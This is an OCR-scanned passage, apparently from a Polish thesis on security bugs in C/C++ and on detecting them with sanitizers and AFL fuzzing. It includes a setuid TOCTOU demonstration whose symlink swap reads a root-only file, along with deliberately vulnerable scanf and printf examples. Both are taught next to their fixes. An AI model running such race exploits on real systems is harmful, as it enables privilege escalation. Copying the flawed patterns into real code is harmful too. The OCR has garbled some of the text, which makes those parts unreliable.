main.c:6:26: warning: integer overflow in expression [-Woverflow]
printf ("sd $d %d\n", -INT32_MIN, abs (INT32_MIN), INT32_MAX+1);

main.c:6:63: warning: integer overflow in expression [-Woverflow]

printf("$d $d %d\n", -INT32_MIN, abs (INT32_MIN), INT32_MAX+1);

~
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6.1.2. Liczby rzeczywiste

W przypadku liczb rzeczywistych bledy, ktére mozna popetnié to:

o wykorzystanie niepoprawnego typu — przykladowo moze to by¢ zastosowanie typu zmien-
noprzecinkowego zamiast typu staloprzecinkowego podczas wykonywania obliczen zwiaza-
nych z finansami.

e Btedy wynikajace z braku mozliwoéci reprezentacji danej liczby, kolejno$ci wykonywa-
nych operacji czy zaokraglen podczas obliczen zmiennoprzecinkowych. Przyktadowo do-
danie dwoéch liczb podwdjnej precyzji: 10000000000000.0 oraz 0.00001 zwraca wynik
10000000000000.0.

e Sprawdzanie, czy wynik operacji na liczbach zmiennoprzecinkowych jest rowny danej licz-
bie (np. zero) poprzez przyréwnanie go do tej liczby. Samo przyréwnanie do danej liczby
jest oczywiscie poprawne, natomiast gdy wynik teoretyczny danych obliczen jest réwny
tej liczbie, wykonany na liczbach zmiennoprzecinkowych moze byé na przyklad jedynie
zblizony do tej liczby. Stad tez tego typu sprawdzenie wykonuje sie za pomoca operacji:
abs(x — y) < E, gdzie x to wynik operacji, y to liczba do ktérej przyréwnujemy, a E jest
wartoscia tolerancji lub tez dokladnoscia, z jaka sprawdzany jest wynik (E > 0).

e Brak obstugi wartoéci specjalnych liczb zmiennoprzecinkowych — NaN, —oo czy +00. Dla
przyktadu operacje NaN > 30, NaN < 30 czy NaN == 30 czy chociazby NaN == NalN

wszystkie zwracaja falsz.

6.2. Bledy typu , kopiuj-wklej”

Bledy typu ,kopiuj-wklej” polegaja na niepoprawnym wklejeniu lub/i blednej modyfikacji
wklejonego kodu przez programiste.

Tego typu btad wystepowal w bibliotece SSL firmy Apple w funkcji odpowiedzialnej za we-
ryfikacje poprawnosci certyfikatéw SSL. Kod tej funkcji mozna zobaczy¢ na listingu 6.4.

Jak mozna zauwazy¢ w linii 14 znajduje si¢ nadmiarowa instrukcja goto fail;, ktéra jest
poza cialem instrukcji warunkowej if z linii 12. Z tego tez powodu w przypadku gdy funkcja
wywolywana wewnatrz warunku zwréci zero, co Swiadczyloby o powodzeniu wykonywanej ope-
racji — program nie wykona kolejnych instrukcji warunkowych, a zamiast tego skoczy do etykiety
cai1:. Nastepnie zwréci z funkcji status oznaczajacy powodzenie operacji (warto$é zero).

Blad ten pozwalal na rozszyfrowywanie poltaczen HTTPS podczas ataku MitM (ang. Man
in the Middle) polegajacego na podstuchiwaniu oraz modyfikacji komunikacji miedzy dwiema
stronami bez ich wiedzy3. Podatno$é ta wystepowala w systemach operacyjnych Apple iOS,
Apple TV oraz Apple OS X. Blad ten zostal oznaczony w bazie CVE* jako CVE-2014-1266 [36)].

3Aby wykonaé taki atak, atakujacy musi mieé dostep do maszyny, przez ktéra przechodzi ruch od ofiary

do serwera, z ktérym laczy sie ofiara.
4CVE — ang. Common Vulnerabilities and Exposures — baza identyfikatoréw odpowiadajacych powszechnie
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Listing 6.4. Funkcja weryfikujaca poprawno$¢ certyfikatu SSL. Czes¢é kodu zostala zakomentowana

w celu uzyskania lepszej czytelnosci.

1 static OSStatus
2 SSLVerifySignedServerKeyExchange (SSLContext *ctx, bool isRsa,

3 SSLBuffer signedParams, uint8_t +signature,
4 UIntl6 signaturelen) {

5 OSStatus err;

6

7 /()

8

9 if ((err = SSLHashSHAl.update (&¢hashCtx, &serverRandom)) != 0)
10 goto fail;

11

12 if ((err = SSLHashSHAl.update (&¢hashCtx, &signedParams)) != 0)
13 goto fail;

14 goto fail; // Nadmiarowa instrukcja, ktdra jest poza ciatem instrukcji if.
15 // Kolejna instrukcja if nigdy sie nie wykona.
16

17 if ((err = SSLHashSHAl.final (¢hashCtx, &hashOut)) != 0)

18 goto fail;

19

20 /S (e..)

21

22 fail:

23 SSLFreeBuffer (&signedHashes) ;

24 SSLFreeBuffer (&¢hashCtx) ;

25 return err;

26}

6.3. Sytuacja wysScigu

Sytuacja wyscigu (ang. race condition) to blad, ktéry wystepuje gdy poprawne dziatanie
aplikacji jest zalezne od czasu i kolejnoéci wykonania watkow lub proceséw.
Jedna z takich sytuacji jest blad nazywany TOCTOU (ang. time-of-check vs time-of-use).

Polega on na réznym czasie sprawdzenia dostepu do zasobu oraz wykorzystaniu tego zasobu.

Na listingu 6.5 mozna zobaczy¢ kod programu, ktéoremu po kompilacji ustawiono setuid
bit® administratora systemu — uzytkownika root. Dzicki temu zabiegowi uruchomienie programu

z dowolnego uzytkownika systemu sprawi, ze efektywnym id uzytkownika widocznym przez

znanym podatno$ciom oraz zagrozeniom.
®Setuid bit to z angielskiego set user ID on execution, czyli zmiana efektywnego ID uzytkownika podczas uru-

chomienia programu. Jest to specjalny typ uprawnien plikéw w systemach Unix. Pozwala to danym uzytkownikom

uruchomié¢ dany program z uprawnieniami innego uzytkownika. Przykladowo korzysta z tego program passwd,
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program bedzie administrator systemu — uzytkownik root.

Listing 6.5. Program prezentujacy btad TOCTOU oraz jeden ze sposobdéw jego zapobiegania. (W ko-

dzie programu pominigto nieistotne z perspektywy omawianego btedu funkcjonalnosci jak implementacja

funkcji wypisujacej plik — print_file_content czy poprawna obsluge argumentéw programu.)

#include <stdio.h>

#include <string.h>

#include <unistd.h>

5 FILE+ get_file(char+ filepath) { // Niebezpieczna funkcja z bledem TOCTOU
6 if (l'access(filepath, R_OK)) { // sprawdza czy ‘user'  ma dostep do pliku
7 getchar () ; // czeka na klawisz z klawiatury

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

return fopen(filepath, "r"); // otwiera plik jako ‘root' (!)

}
return NULL;

FILE+ safe_get_file(char+ filepath) { // Funkcja bez biedu TOCTOU

int

seteuid (getuid()); // zmiana euid na id ‘user’
FILE«~ fp = fopen(filepath, "r"); // otwiera plik jako ‘user’
seteuid (geteuid()); // zmiana euid spowrotem na id

return fp;

main (int argc, charx argv[]) {
FILE+« fp;
if (!strcmp(argv[l], "safe"))

fp = safe_get_file(argv([2]);

else

fp get_file(argv[2]);

print_file_content (fp); // wypisuje zawartosc¢ otworzonego pliku

‘root’

Przedstawiony program posiada dwie funkcje — get_file oraz safe_get_file, ktore sa wy-
wolywane w zaleznoéci od przekazanego argumentu. Na listingu 6.6 przedstawiono kompilacje
oraz przygotowanie przyktadu.

Funkcja get_file wywoluje funkcje access, ktéra sprawdza czy uzytkownik, ktory uruchomit
program ma uprawnienia do odczytu danego pliku. Jesdli ma — plik jest otwierany funkcja fopen
z uprawnieniami uzytkownika root ze wzgledu na setuid bit. Blad polega na tym, ze pomiedzy
wywolaniami access oraz fopen plik znajdujacy sie w $ciezce filepath moze zostaé zmieniony.

W ten sposéb mozna odczytaé plik dostepny tylko dla uzytkownika root. Wykorzystanie tego

ktéry pozwala na zmiane swojego hasta.
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Listing 6.6. Przygotowanie przyktadu z listingu 6.5 — kompilacja, ustawienie bitu setuid uzytkownika
root, utworzenie plikow uzytkownikéw root oraz de, utworzenie linku symbolicznego do pliku uzytkownika

user. Na koniec wy$wietlany jest stan biezacego katalogu.

$ gcc main.c -Wall -Wextra -Wpedantic -o exec

$ sudo chown root ./exec && sudo chmod u+s ./exec

$ echo "plik administratora systemu" | sudo tee privileged
$ sudo chown root privileged && sudo chmod 700 privileged
$ echo "plik uzytkownika user" > unprivileged

$ 1n -s ./unprivileged ./link

$ 1s -1

total 24K

—-rwsr—xr—-x 1 user users 9.0K Jul 22 01:01 execx
lrwxrwxrwx 1 user users 14 Jul 22 01:15 link -> ./unprivileged
-rw-r—--r——- 1 user users 1.3K Jul 22 00:59 main.c
—rWX—————— 1 root root 28 Jul 22 01:00 privilegedx
-rw-r—--r—-— 1 user users 22 Jul 22 01:01 unprivileged

bledu mozna zobaczyé na listingu 6.7.

Listing 6.7. Wykorzystania btedu TOCTOU z funkcji get_file z listingu 6.5.

$ ./exec unsafe ./link

uid=1000, euid=0

// Funkcja access zwrdcita 0, a zatem uzytkownik

// ma dostep do pliku unprivileged, ktdéry linkuje link

// Program czeka na podanie znaku przez getchar ()

// W tym czasie atakujacy z innego procesu podmienia link symboliczny
// na plik privileged i podaje znak do getchar ()

[*} Reading file content:

plik administratora systemu

uid=1000, euid=0

W drugiej funkcji — safe_get_file blad TOCTOU zostal naprawiony poprzez zmiane efek-
tywnego id uzytkownika funkcjg seteuid na id uzytkownika user — pobranego funkcja getuid.
Dzigki temu otworzenie pliku zostalo wykonane z uprawnieniami tego uzytkownika. Nastepnie,
po otwarciu pliku, zmieniono efektywne id uzytkownika spowrotem na id uzytkownika root.

Wykonanie programu uzywajacego te funkcje prezentuje listing 6.8.

Przedstawionej sytuacji mozna réwniez zapobiec wykorzystujac mechanizm blokowania pli-

kéw (ang. file locking).
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Listing 6.8. Wykorzystanie bezpiecznej funkcji safe_get_file z listingu 6.5.

$ ./exec safe unprivileged
uid=1000, euid=0

[*] Reading file content:
plik uzytkownika user
uid=1000, euid=0

$ ./exec safe privileged
uid=1000, euid=0
[*] No access to file

uid=1000, euid=0

6.4. Optymalizacje kompilatora

Optymalizacje przeprowadzane przez kompilator réwniez moga by¢ przyczyng btedéw bez-
pieczenstwa. Przykladem takiej sytuacji moze by¢ wyoptymalizowanie przez kompilator kodu
odpowiedzialnego za wyczyszczenie wrazliwych danych z pamieci. Taka sytuacje zaprezento-
wano na krotkim przyktadzie porownania kodu w jezyku C na listingu 6.9 oraz jego deasembla-
¢ji — na listingu 6.10. Jak mozna zobaczy¢ na drugim z nich, po kompilacji z uzyciem trzeciego
poziomu optymalizacji (-03) program nigdy nie wykonal destruktora sensitivebata, ktory po-
winien wyczysci¢ pamieé zawierajaca hasto.

Aby zapobiec tego typu bledom mozna skorzystaé z bezpiecznych funkcji stuzacych do
zerowania pamieci — w standardzie Cl1 jezyka C istnieje opcjonalne rozszerzenie definiu-
jace funkcje memset_s. Funkcja ta jest dostepna pod warunkiem, ze dana implementacja
biblioteki standardowej definiuje makro ___STDC_LIB_EXTI1__ oraz gdy programista zdefi-
niuje makro __ STDC_WANT_LIB_EXTI1__ na warto$¢ 1 przed doltaczeniem pliku nagléwko-
wego string.h [37].

W przypadku kompilatora GCC inna opcja naprawienia bledu jest wykorzystanie flagi
—-fno-builtin-memset podczas kompilacji [38]. Na listingu 6.11 zaprezentowano kod asem-

blera dla programu z listingu 6.9 skompilowanego z ta flaga.
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Listing 6.9. Przyktadowy kod, w ktorym optymalizacje kompilatora moga usunaé wywotanie memset.

#include <cstdio>

#include <cstring>

// Funkcja pomocnicza pobierajgca hasto do bufora

void getPasswordFromUser (charx buf, size_t len);

struct SensitiveData {
char password[64];
SensitiveData () {
getPasswordFromUser (password, sizeof (password));
}
~SensitiveData () {

memset (password, 0, sizeof (password));
bi
int main() {

SensitiveData d;

puts (d.password) ;

Listing 6.10. Kod asemblera funkcji main z listingu 6.9. Zostal on wyprodukowany przez x86-64 GCC 7.2

w serwisie godbolt.org z flagami kompilacji —std=c++14 -Wall -Wextra -03.

main:

sub rsp, 72 ; prolog main - alokacja ramki stosu
mov esi, 64 ; przygotowanie argumentu do getPasswordFromUser
mov rdi, rsp ; przygotowanie argumentu do getPasswordFromUser

call getPasswordFromUser (char*, unsigned long)

mov rdi, rsp ; przygotowanie argumentu do puts

call puts ; wywolanie funkciji puts

Xor eax, eax ; epilog main - zwrdécenie 0

add rsp, 72 ; epilog main - dealokacja ramki stosu
ret ; epilog main — wyjscie z funkciji


https://godbolt.org
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Listing 6.11. Kod asemblera funkcji main z listingu 6.9. Zostal on wyprodukowany przez
x86-64 GCC 7.2 w serwisie godbolt.org z flagami kompilacji -std=c++14 -Wall -Wextra -03
—fno-builtin-memset. Jak mozna zauwazy¢ kompilator wygenerowal rowniez kod obstugujacy sytu-

acje wyjatkowa, ktéra moze wystapi¢ w funkcji getPasswordFromUser.

main:
push rbx ; prolog main - zachowanie rejestru RBX
mov esi, 64 ; przygotowanie argumentu do getPasswordFromUser
sub rsp, 64 ; prolog main - alokacja ramki stosu
mov rdi, rsp ; przygotowanie argumentu do getPasswordFromUser
call getPasswordFromUser (char*, unsigned long)
mov rdi, rsp ; przygotowanie argumentu do puts
call puts ; wywotanie funkcji puts
mov rdi, rsp ; przygotowanie 1 argumentu do memset: password
mov edx, 64 ; przygotowanie 3 argumentu: sizeof (password)
Xor esi, esi ; przygotowanie 2 argumentu: 0
call memset ; wywotanie funkciji memset
add rsp, 64 ; epilog main — dealokacja ramki stosu
XOor eax, eax ; ustawienie wartosci zwracanej z main: 0
pop rbx ; epilog main - przywrdécenie wartosci rejestru RBX
ret ; epilog main - wyjsScie z fukncji

on_exception:
mov rbx, rax ; prawdopodobnie przeniesienie adresu obiektu

; wyjatku do rejestru RBX

mov rdi, rsp ; przygotowanie 1 argumentu do memset: password
mov edx, 64 ; przygotowanie 3 argumentu: sizeof (password)
XOor esi, esi ; przygotowanie 2 argumentu: 0

call memset ; wywolanie funkciji memset

mov rdi, rbx ; przygotowanie argumentu do _Unwind_ Resume
call _Unwind_Resume ; wywolanie funkcji propagujgcej wyjatek


https://godbolt.org
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6.5. Bledy kompilatora

Kolejnym problemem z ktéorym mozna sie spotka¢ sa bledy samego kompilatora. Przykla-
dowo w trakcie pisania tej pracy w najnowszej wersji kompilatora GCC (8.0) istnieje blad zgto-
szony w 2015 roku. Polega on na tym, ze istnieja sytuacje, w ktérych kompilator nie wygeneruje
kodu wykonujacego destruktoréw pol obiektu skonstruowanego anonimowo [39]. Blad ten zo-
stal zaprezentowany na listingach 6.13 oraz 6.12 [40]. W przypadku programu skompilowanego
kompilatorem GCC, gdy podczas anonimowego konstruowania obiektu user wystapil wyjatek
program nie wykonal destruktora skonstruowanego juz pola r1. Dla poréwnania w innych kom-

pilatorach — jak na przyktad Clang — blad ten nie wystepuje.

Listing 6.12. Kompilacja oraz wykonanie kodu z listingu 6.13 kompilatorami Clang 5.0 oraz
GCC 7.2.1 20171128.

$ g++ —-std=c++17 main.cpp -o exec_gcc && ./exec_gcc
create

destroy

next

create

$ clang++ -std=c++17 main.cpp -o exec_clang && ./exec_clang
create

destroy

next

create

destroy
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Listing 6.13. Kod prezentujacy btad wystepujacy w kompilatorze GCC.

#include <cstdio>

#include <stdexcept>

struct Resource {
explicit Resource(int) { std::puts("create"); }
Resource (Resource const&) { std::puts("create"); }

~Resource () { std::puts("destroy"); }
bi

Resource make_1() { return Resource(l); }

Resource make_2 () { throw std::runtime_error ("failed"); }

struct User {
Resource rl;

Resource r2;

}i

// Funkcja pomocnicza, aby moc skonstruowac obiekt User anonimowo

void process (User) {}

int main() {
try {
// Sytuacja w ktérej generowany kod jest poprawny
User u{make_1(), make_2()};
process (u);
}
catch (...) {}

std: :puts ("next");

try {
// Sytuacja w ktérej GCC produkuje bitedny kod
// w ktérym brakuje wykonania destruktora obiektu Resource
process ({make_1 (), make_2()});

}

catch (...) {}






7. Wykrywanie bledow

Bledow bezpieczenstwa mozna poszukiwaé¢ na wiele sposobéw. Podczas tworzenia oprogra-
mowania nalezy stosowaé proces przegladu kodu (ang. code review) przed dolaczeniem zmian
do gtéwnej gatezi repozytorium. Inna metoda jest sprawdzanie poprawnosci dziatania aplikacji
przy pomocy testéw automatycznych. Techniki te zmniejszaja oczywiscie liczbe bledéw wyste-
pujacych w oprogramowaniu, jednak sa czasochtonne oraz kosztowne.

Istnieja réwniez inne ciekawe metody oraz narzedzia dodajace instrumentacje oraz instrukcje
sprawdzajace pewne warunki (na przyktad wychodzenie poza tablice), ktére zostaly przedsta-

wione w tym rozdziale.

7.1. Instrumentacja kodu

Instrumentacja kodu to proces polegajacy na monitorowaniu wykonania aplikacji w celu

zbadania jej wydajnosci oraz wykryciu lub latwiejszej diagnozy znalezionych btedéw.

Sanitizery

Wspélczesne kompilatory — miedzy innymi GCC oraz Clang — umozliwiaja wlaczenie in-
strumentacji kompilowanego programu sanitizerami (ang. sanitizers). Narzedzia te powoduja, iz
kompilator generuje dodatkowe sprawdzenia przed lub po wykonaniu danych instrukcji. Dzieki
temu po uruchomieniu programu skompilowanego z wlaczonymi sanitizerami, gdy zostanie wy-

kryty btad, dzialanie programu jest przerywane oraz generowany jest raport.

7.1.1. AddressSanitizer

AddressSanitizer (lub tez ASan) stuzy do znajdowania bledéw zwiazanych z dostepem do pa-
mieci w programach napisanych w jezykach C lub C++. Pozwala on na wykrycie sytuacji takich
jak przepelnienie bufora czy dostep do zwolnionej wczeéniej pamieci — inaczej btedu use-after-
free.

Dzialanie ASana polega na podmianie funkcji malloc oraz free, tak aby oznaczaé zwolniong
pamie¢ oraz ta, znajdujace si¢ wokoto zaalokowanej. Dodatkowo kazde odwolanie do pamieci
— jak na przyklad saddress = ...; lub tez ... = xaddress; jest transformowane do postaci,
ktéra zostala zaprezentowana na listingu 7.1 [41].

Aby skorzysta¢ z ASan-a nalezy przy kompilacji dotaczyé flage ~fsanitize=address. Przy-
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Listing 7.1. Wynik transformacji kodu, ktéry odwotuje sie do pamieci przez ASana. Funkcja IsPoisoned
sprawdza, czy dany adres nie wskazuje na zwolniong wczesniej pamie¢ albo taka, ktora nie zostata zaalo-

kowana przez program. ReportError informuje o znalezionym btedzie.

1 if (IsPoisoned(address)) {

2 ReportError (address, kAccessSize, kIsWrite);
3}
4 *address = ...; // lub: ... = *address;

ktadowe wykorzystanie tego narzedzia prezentuje listing 7.3, ktory jest wynikiem uruchomienia

programu z listingu 7.2.

Listing 7.2. Program pozwalajacy na przepelnienie bufora na stosie poprzez brak ograniczenia w liczbie

znakéw, ktore mozna wpisaé do bufora buf przez funkcje scanf.

1 #include <stdio.h>

3 int main () {

4 char buf[10];

5 scanf ("%s", buf);
6}
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Listing 7.3. Kompilacja programu z listingu 7.2, przepelnienie bufora oraz wykrycie sytuacji przez
Address Sanitizer. Wyjscie zostalo nieco skrécone dla lepszej czytelnoéei, a dlugie linie zostaly skrécone
poprzez ,(...)". Jak mozna zauwazy¢ podczas pierwszego uruchomienia programu, gdy podany ciag miesci

sie w buforze nie powodujac jego przepelienia, to ASan nie zgltasza btedu.

$ g++ —ggdb -Wall -Wextra -Wpedantic —-fsanitize=address address.cpp -o exec

$ ./exec
abcd
$ ./exec

ddaadaaaaaaaaaaaaaaaaaaaaaaaaaaaa

==11221==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcd9d34f9%a
at pc 0x7faa9cefc9df bp 0x7ffcd9d34el0 sp 0x7f££cd9d34598

WRITE of size 32 at 0x7ffcd9d34f9%a thread TO

#0 Ox7faa9cefc9de in scanf_common (...)

#1 0x7faa9cefd2ab in __interceptor_vscanf (...)

#2 0x7faa9cefdl3af in __interceptor_scanf (...)

#3 0x563cbaff4af2 in main address.cpp:5

#4 0x7faa9c218f69 in _ libc_start_main (/usr/lib/libc.so.6+0x20£f69)

#5 0x563cbaff4979 in _start (exec+0x979)

Address 0x7ffcd9d34f9%a is located in stack of thread TO at offset 42 in frame
#0 0x563cbaff4a69 in main address.cpp:3

This frame has 1 object(s):
[32, 42) 'buf' <== Memory access at offset 42 overflows this variable
HINT: this may be a false positive if your program uses some
custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions xarex supported)

SUMMARY: AddressSanitizer: stack-buffer-overflow (...) 1in scanf_common
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7.1.2. ThreadSanitizer

ThreadSanitizer stuzy do wykrywania wyscigéw danych (ang. data race) w programach na-
pisanych w jezykach C, C++ oraz Go. Wykorzystanie ThreadSanitizera zostalo przedstawione
na listingach 7.4 oraz 7.5.

Listing 7.4. Program w ktérym wystepuje wyscig danych — uruchamiane jest 10 watkéw, ktore rywalizuja

o dostep do zmiennej sum.

1  #include <cstdio>
2 #include <thread>

3 #include <mutex>

5 std::mutex mut;

6 long long sum = 0;

8 int main () {

9 std: :thread threads[10];

10

11 for (int i=0; i<10; ++1i)

12 threads[i] = std::thread([] () {

13 // W kodzie bez wysScigu danych powinna znaleZdé sie ponizsza linia
14 // std::lock_guard<std::mutex> lock (mut);
15 for (int i=0; i<10000; ++1i)

16 sum += 1;

17 P i

18

19 for (autoss& t : threads)

20 t.join();

21

22 printf ("Main thread over, sum = %$11d\n", sum);

23 }



7. Wykrywanie btedéw

Listing 7.5. Kompilacja programu z listingu 7.4 oraz wynik ThreadSanitizera. Dlugie linie zostaly skré-
cone poprzez ,(...)". Jak mozna zauwazy¢ wyscig danych zostal w tym przypadku wykryty oraz podane

zostaly dokladne dane, co do miejsca jego wystapienia wraz z miejscem stworzenia watkéw.

$ ASAN_SYMBOLIZER PATH=/usr/bin/llvm-symbolizer clang++ —-std=c++17 —-fsanitize=thread
—fno-omit-frame-pointer —-g thread.cpp -o thread
$ ./thread

WARNING: ThreadSanitizer: data race (pid=2587)

Write of size 8 at 0x5616258d0730 by thread T2:

#0 main::$_0::operator () () const thread.cpp:16:21 (thread+0xb8901)

#1 void std::__invoke_impl<void, main::$_0>(...)

#2 std::__invoke_result<main::$_0>::type std::__invoke<main::$_0>(...)

#3 _ZNSt6thread8_InvokerIStbtuplelJZ4mainE3$_OEEE9_M_invoke (...)

#4 std::thread::_Invoker<std::tuple<main::$_0> >::operator() () (...)
#5 std::thread::_State_impl<(...)>::_M run() (...)
#6 execute_native_thread_routine (...)/thread.cc:83 (libstdc++.s0.6+0xb%a6e)

Previous write of size 8 at 0x5616258d0730 by thread T1:

#0 main::$_0::operator () () const thread.cpp:16:21 (thread+0xb8901)

#1 void std::__invoke_impl<void, main::$_0>(...)

#2 std::__invoke_result<main::$_0>::type std::__invoke<main::$_0>(...)

#3 _ZNSte6thread8_InvokerIStStuplelJZ4mainE3$_OEEE9_M_invoke (...)

#4 std::thread::_Invoker<std::tuple<main::$_0> >::operator() () (...)
#5 std::thread::_State_impl<(...)>::_M run() (...)
#6 execute_native_thread_routine (...)/thread.cc:83 (libstdc++.s0.6+0xb%a6e)

Location is global 'sum' of size 8 at 0x5616258d0730 (thread+0x00000114b730)

Thread T2 (tid=2590, running) created by main thread at:

#0 pthread_create <null> (thread+0x280a7)

#1 __gthread_create (...)/gthr-default.h:662 (libstdc++.s0.6+0xb9d65)
#2 std::thread::_M start_thread(...)

#3 main thread.cpp:12:22 (thread+0xb7e76)

Thread Tl (tid=2589, finished) created by main thread at:

#0 pthread_create <null> (thread+0x280a7)

#1 __gthread_create (...)/gthr-default.h:662 (libstdc++.s0.6+0xb9d65)
#2 std::thread::_M start_thread(...)

#3 main thread.cpp:12:22 (thread+0xb7e76)

SUMMARY: ThreadSanitizer: data race thread.cpp:16:21

in main::$_0::o0perator () () const

Main thread over, sum = 30504

ThreadSanitizer: reported 1 warnings
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7.1.3. MemorySanitizer

MemorySanitizer stuzy do wykrywania sytuacji, w ktorych program czyta niezainicjalizowang
pamigé. Obecnie sanitizer ten jest dodany jedynie do kompilatora clang (w przykladzie w wer-

sji 5.0). Przykladowe uzycie zostalo przedstawione na listingach 7.6 oraz 7.7.

Listing 7.6. Program w ktérym czytana jest niezainicjalizowana pamiec.

1 int foo () {

2 int+x x = new int[5]; // niezainicjalizowana tablica
3 return x[0];

4}

5

6 int main() {

7 return foo();

8 1}

Listing 7.7. Kompilacja oraz wynik MemorySanitizera na programie z listingu 7.6. Aby program za-
wieral symbole debugowe ustawiono odpowiednio zmienng Srodowiskowa ASAN_SYMBOLIZER_PATH oraz
wlaczono flage —~fno-omit-frame-pointer. Dodano réwniez opcje $ledzenia pochodzenie danego btedu
— przez dodanie flagi ~fsanitize-memory-track-origins=2. Jak mozna zauwazy¢, sanitizer poprawnie

wskazal blad znajdujacy sie w programie jak i pochodzenie niezainicjalizowanych danych — sterte.

$ ASAN_SYMBOLIZER PATH=/usr/bin/llvm-symbolizer clang++ —-fsanitize=memory

—fsanitize-memory-track-origins=2 —-fno-omit-frame-pointer -g memory.cpp —-o memory

==397==WARNING: MemorySanitizer: use-of-uninitialized-value

#0 0x55ccd57£1103 in main /home/dc/memory.cpp:7:5

#1 0x7f660fc45f69 in _ libc_start_main (/usr/lib/libc.so.6+0x20£69)
#2 0x55ccd5775699 in _start (/home/dc/memory+0x1a699)

Uninitialized value was created by a heap allocation

#0 0x55ccd57ee8ed in operator new (unsigned long) (/home/dc/memory+0x938ed)
#1 0x55ccd57f0£f12 in foo() /home/dc/memory.cpp:2:14

#2 0x55ccd57f10c6 in main /home/dc/memory.cpp:7:12

#3 0x7f660fc45f69 in _ libc_start_main (/usr/lib/libc.so.6+0x20£69)

SUMMARY: MemorySanitizer: use-of-uninitialized-value /home/dc/memory.cpp:7:5 in main

Exiting
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7.2. Fuzzing

Fuzzing jest jedna z technik uzywanych w celu znalezienia bledéw w programach. Opiera
sie na wprowadzaniu do aplikacji modyfikowanych na rézny sposéb (czesto losowy) danych,
i sprawdzaniu czy aplikacja poprawnie na nie zareagowala.

Uproszczony schemat dzialania fuzzeréw zostal zaprezentowany na rysunku 7.1. Korpus —
czyli przygotowany zestaw danych — oraz generator, zapewniaja dane wejéciowe do programu,
ktore nastepnie sg modyfikowane przez mutator — najczesciej w sposob losowy, jednak proces
ten moze zostaé ukierunkowany — na przyktad poprzez podawanie skrajnych lub ,ciekawych”
wartosci — na przyktad liczby zero, minus jeden czy najmniejszej albo najwiekszej liczby dla ty-
pow liczbowych o réznej wielkosci. Zmodyfikowane dane sa nastepnie przekazywane do aplikacji,
ktora jest monitorowana lub instrumentowana. W przypadku znalezienia bledu dokonuje sie de-
duplikacji, czyli sprawdzenia czy dany blad nie wystapil juz wczesniej — na przyklad poprzez
analize funkcji kolejno wywolywanych przez program oraz skutkéw samego bledu. Jezeli btad
jest unikalny, jest on zapisywany. Moze by¢ rowniez dodany do korpusu wejSciowego, poniewaz
istnieje mozliwosé, ze modyfikacja wejscia, ktére spowodowato dany btad, spowoduje réwniez

inny.

Generator
/ Mutator Testowana aplikacja
Korpus
Debugger
Deduplikacja Zbiér znalezionych btedow

Rysunek 7.1. Uproszczony schemat dzialania fuzzera.

Czesto zamiast fuzzowaé calg aplikacje, fuzzuje sie jedynie jej cze$¢ — konkretne biblioteki lub
funkcje. Proces taki moze znacznie przyspieszy¢ testowanie aplikacji lecz wymaga dodatkowego
naktadu pracy. Nalezy rowniez uwazaé aby podczas ekstrakcji i testowania danego kodu nie
popelni¢ btedu, na przyktad, aby nie testowaé czegos, na co aplikacja nie pozwala ze wzgledu
na dodatkowe sprawdzenia wykonane w zupelnie innym miejscu.

Fuzzery dzieli si¢ na kategorie zaréwno ze wzgledu na sposéb mutacji danych jak i na prze-
znaczenie. Najprostsze fuzzery udostepniaja jedynie mozliwos¢ losowych mutacji podanych po-
czatkowo danych wejsciowych. Inne robia to na podstawie okreslonej wczesniej i podanej im

gramatyki. Bardziej zaawansowane wykorzystuja algorytmy genetyczne albo wykonuja inzy-
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nierie wsteczng gramatyki podanych przyktadowych danych wejSciowych za pomoca uczenia
maszynowego. Ze wzgledu na zastosowanie wsréd obecnych fuzzeréw mozna wyrézni¢ miedzy
innymi: programy stuzace do celow ogdlnych, do fuzzingu typow plikow, protokoltéow sieciowych
lub jadra systemu. Podstawa dziatania fuzzera jako narzedzia stuzacego do znajdowania inte-
resujacych zestawéw danych jest mozliwo$é zbierania informacji o efektach uzycia danych (nie
dotyczy fuzzeréw implementujacych jedynie losowe metody mutacji danych wejéciowych) oraz

rozpoznanie blednego dzialania programu [42].

7.2.1. American Fuzzy Lop

American Fuzzy Lop (AFL) jest fuzzerem autorstwa Michata ,lcamtufa” Zalewskiego, ktory
wykorzystuje algorytm genetyczny wspomagany instrumentacja w celu zwickszenia pokrycia te-
stowanej aplikacji. W przypadku gdy dostepny jest kod Zréodlowy fuzzowanej aplikacji AFL moze
wykorzysta¢ AddressSanitizera oméwionego w rozdziale 7.1.1. Wymaga to ustawienia zmiennej
srodowiskowej AFL_USE_ASAN na warto$¢ 1, a nastepnie przekompilowanie programu [43].

Na listingu 7.8 zaprezentowany jest kod przykladowej aplikacji zawierajacej btedy, ktora zo-
stata skompilowana poleceniem AFI,_USE_ASAN=1 afl-gcc -m32 main.c -02 -o exec,
a nastepnie uruchomiona pod kontrola AFL poleceniem afl-fuzz -i ./input_dir/ -o
./output_dir/ -m 1GB - ./exec.Program zostal skompilowany w 32 bitach (flaga -m32)
dzieki czemu process fuzzowania bedzie dziataé szybciej. Flagi —i oraz —o podane do fuzzera
okredlaja katalog z korpusem oraz katalog, w ktérym AFL bedzie zapisywal wejécia powodujace
nieprawidtowe dzialanie programu. Natozono réwniez limit pamieci — 1GB — dla fuzzowanego
procesu — poprzez parametr —-m 1GB. Jako korpus stworzono dwa pliki — pierwszy zawierajacy
lanicuch Achilles\n31\n!, a drugi Anna\n200\n.

Sam proces dziatania fuzzera zostal przedstawiony na rysunku 7.2. Po wytaczeniu procesu
fuzzera w katalogu wyjsciowym — output_dir — znajduja si¢ miedzy innymi statystyki (plik
fuzzer_stats, zawierajacy podobne dane, jak te, ktore mozna byto zobaczy¢ na zrzucie ekranu
7.2) oraz katalog crashes, w ktérym znajduja sie wygenerowane przez fuzzera wejscia do pro-
gramu, powodujace unikalne btedy. Na rysunku 7.3 zaprezentowano zrzut ekranu z uruchomienia

programu jednego z wygenerowanych przez AFL wejs¢ powodujacych blad przepelnienia stosu.

1Znak \n oznacza nows linie.
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Listing 7.8. Przyktadowy program zawierajacy bledy. Ze wzgledu na wykorzystanie formatu "%s"
dla funkcji scanf liczba pobranych znakéw do bufora nie jest limitowana, co pozwala na przepelnienie
stosu. Umozliwia to miedzy innymi nadpisanie wskaZnika hello w strukturze p. Innym wystepujacym bte-

dem jest przekazanie bufora przekazanego od uzytkownika jako tancuch formatujacy dla funkcji printf.

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26
